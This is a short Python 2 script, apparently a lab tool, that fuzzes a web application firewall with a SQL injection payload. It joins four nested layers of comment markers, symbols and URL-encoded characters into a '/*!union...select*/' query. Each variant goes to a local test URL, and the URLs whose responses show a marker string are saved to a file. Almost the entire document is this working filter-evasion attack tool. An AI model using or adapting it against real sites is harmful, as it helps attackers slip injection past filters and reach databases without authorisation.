1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

#!-*- coding:utf-8 -*-
#!/usr/bin/env python
import requests, sys
fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','~','@','|','!','%','.','-','+','%00','%20','%09','%0a','%0d','%0c','%0d','%a0']
fuzz_sz = ['']
fuzz_ch = ['%0a','%0d','%0c','%0d','%0e','%0f','%0g','%0h','%0i','%0j','%0h','%0i','%0j','%0k','%0l','%0m','%0n','%0o','%0p','%0q','%0r','%0s','%0t','%0u','%0v','%0w','%0x','%0y','%0z']
fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
url_start = 'http://192.168.25.133/sql.php?id=1'
lens = len(fuzz)**4
num = 0
#只嵌套了4层
for a in fuzz:
	for b in fuzz:
		for c in fuzz:
			for d in fuzz:
				num += 1
				payload = "/*!union" + a + b + c + d + "select*/ 1,2,3"
				url = url_start + payload
				print("Now URL:" + url)
				print "Process %s / %s"%(num,str(lens))
				
				
				res = requests.get(url,headers=headers)
				if "hhhhtest" in res.text:
					with open('Result.txt','a') as r:
						r.write(url + "n")